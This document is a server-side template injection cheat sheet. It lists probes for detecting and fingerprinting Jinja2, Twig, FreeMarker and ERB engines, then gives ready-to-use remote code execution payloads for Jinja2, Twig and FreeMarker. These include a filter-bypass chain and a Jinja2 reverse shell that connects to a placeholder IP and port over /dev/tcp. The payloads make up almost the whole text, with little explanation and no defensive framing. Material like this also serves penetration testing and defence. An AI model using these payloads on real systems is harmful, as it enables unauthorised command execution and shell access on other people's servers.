Detection
# Basic math probe โ if result is evaluated instead of echoed literally, SSTI exists
{{7*7}} โ 49 (Jinja2/Twig)
${7*7} โ 49 (FreeMarker/Velocity)
<%= 7*7 %> โ 49 (ERB/EJS)
# Fingerprint the engine
{{7*'7'}} โ 7777777 (Jinja2 โ string multiplication)
{{7*'7'}} โ 49 (Twig โ numeric coercion)
Jinja2 (Flask/Python) Exploitation
# Classic MRO traversal to reach subprocess
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (commonly around 258)
{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()}}
# Shorter chain using globals
{{self.__init__.__globals__['os'].popen('id').read()}}
# Bypass underscore filter using request attributes
{{request['__class__']['__mro__'][1]['__subclasses__']()}}
# Reverse shell
{{''.__class__.__mro__[1].__subclasses__()[258]('bash -i >& /dev/tcp/IP/PORT 0>&1',shell=True)}}
Twig (PHP) Exploitation
# RCE via filter callback registration
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
FreeMarker (Java) Exploitation
# RCE using Execute utility class
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}